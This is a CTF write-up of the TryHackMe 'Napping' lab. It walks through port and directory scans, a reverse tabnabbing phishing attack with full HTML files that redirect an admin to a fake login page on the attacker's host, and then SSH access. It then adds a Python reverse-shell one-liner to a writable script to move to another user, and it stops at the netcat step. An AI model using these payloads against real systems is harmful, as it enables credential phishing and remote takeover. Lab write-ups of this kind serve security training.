Napping — TryHackMe Writeup

5 min readJun 30, 2022

Even Admins can fall asleep on the job

Nmap Report

Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 85:f3:f5:b4:8c:24:1e:ef:6f:28:42:33:7c:2a:22:b4 (RSA)
|   256 c2:7b:a9:0c:28:7c:d1:cd:03:23:f4:a8:bc:02:72:4b (ECDSA)
|_  256 fe:92:00:b4:ee:5e:5a:92:52:90:9f:5e:0b:fd:61:a3 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Login
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There Are 2 Ports Running:

22 OpenSSH 8.2p1
80 Apache httpd 2.4.41 ((Ubuntu))

Port 80

In a Port 80 We Have a Login And Sign up Page

Let’s Try To Create a Account…

Welcome.php

It Must Be Tab Napping…. Let’s Dig More

Submit Random Website Link

Directory Bruteforce

/.hta                 (Status: 403) [Size: 276]
/.hta.php             (Status: 403) [Size: 276]
/.htaccess            (Status: 403) [Size: 276]
/.hta.txt             (Status: 403) [Size: 276]
/.htpasswd            (Status: 403) [Size: 276]
/.htaccess.php        (Status: 403) [Size: 276]
/.htpasswd.php        (Status: 403) [Size: 276]
/.htaccess.txt        (Status: 403) [Size: 276]
/.htpasswd.txt        (Status: 403) [Size: 276]
/admin                (Status: 301) [Size: 310] [--> http://10.10.45.71/admin/login]
/config.php           (Status: 200) [Size: 1]
/index.php            (Status: 200) [Size: 1211]
/index.php            (Status: 200) [Size: 1211]
/logout.php           (Status: 302) [Size: 0] [--> index.php]
/register.php         (Status: 200) [Size: 1567]
/server-status        (Status: 403) [Size: 276]
/welcome.php          (Status: 302) [Size: 0] [--> index.php]

So We Have a Interesting dir’s /admin and /admin/login.php

Tab Napping

Reverse tabnabbing, tabnabbing, is a phishing attack in which an attacker fools a victim into entering their credentials on a fake website controlled by the attacker.

regular way to abuse this behaviour would be to change the location of the original web via window.opener.location = https://attacker.com/victim.html to a web controlled by the attacker that looks like the original one, so it can imitate the login form of the original website and ask for credentials to the user.

Steps

Creating File Called nap01.html Contains This:

<!DOCTYPE html>
<html>
 <body>
  <script>
  window.opener.location = "http://<yourip>:8585/nap02.html";
  </script>
 </body>
</html>

This “nap01.html” will redirect the user who clicks it to the nap02.html page in a new tab.

Create a File Called nap02.html With This Contant:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Login</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <style>
        body{ font: 14px sans-serif; }
        .wrapper{ width: 360px; padding: 20px; }
    </style>
</head>
<body>
    <div class="wrapper">
		<h2>Admin Login</h2>
		<p>Please fill in your credentials to login.</p>
		<form action="/admin/login.php" method="post">
		    <div class="form-group">
			<label>Username</label>
			<input type="text" name="username" class="form-control " value="">
			<span class="invalid-feedback"></span>
		    </div>    
		    <div class="form-group">
			<label>Password</label>
			<input type="password" name="password" class="form-control ">
                <span class="invalid-feedback"></span>
            </div>
            <div class="form-group">
                <input type="submit" class="btn btn-primary" value="Login">
            </div>
            <br>
        </form>
    </div>
</body>

Let’s Serve Those Files Useing “Python Http.Server”

Submit the link http://<yourip>:8585/nap01.html in the website

Then Now We Start a “Wireshark” Run It As a tun0.

Capture

Get r00t4c1d (Rishi)’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

after few mins I got requests from the server for both of the fake html pages I created which essentially means the admin did visit our fake login page…

We Got Creds….

Stop Wasting Time… Do Direct SSH

Daniel — SSH

There are 3 users on the machine root, daniel & adrian . And We Are Also Part Of Administrator Group..

We need to escalate our privileges to adrian to get the user flag.

Pokin…Around The Box I Found a “config.php” in /var/www/html

<?php
/* Database credentials. Assuming you are running MySQL
server with default setting (user 'root' with no password) */
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'adrian');
define('DB_PASSWORD', '*********');
define('DB_NAME', 'website');/* Attempt to connect to MySQL database */
$mysqli = new mysqli(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);// Check connection
if($mysqli === false){
        die("ERROR: Could not connect. " . $mysqli->connect_error);
}
?>

password not working…

/home/adrian

rw-rw-r — 1 adrian administrators 480 Mar 16 00:02 query.py

query.py have a rights to edit this file.

site_status.txt

Lets Try To add a python reverse shell oneliner at the end of the query.py script.

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")

And Fireup Netcat….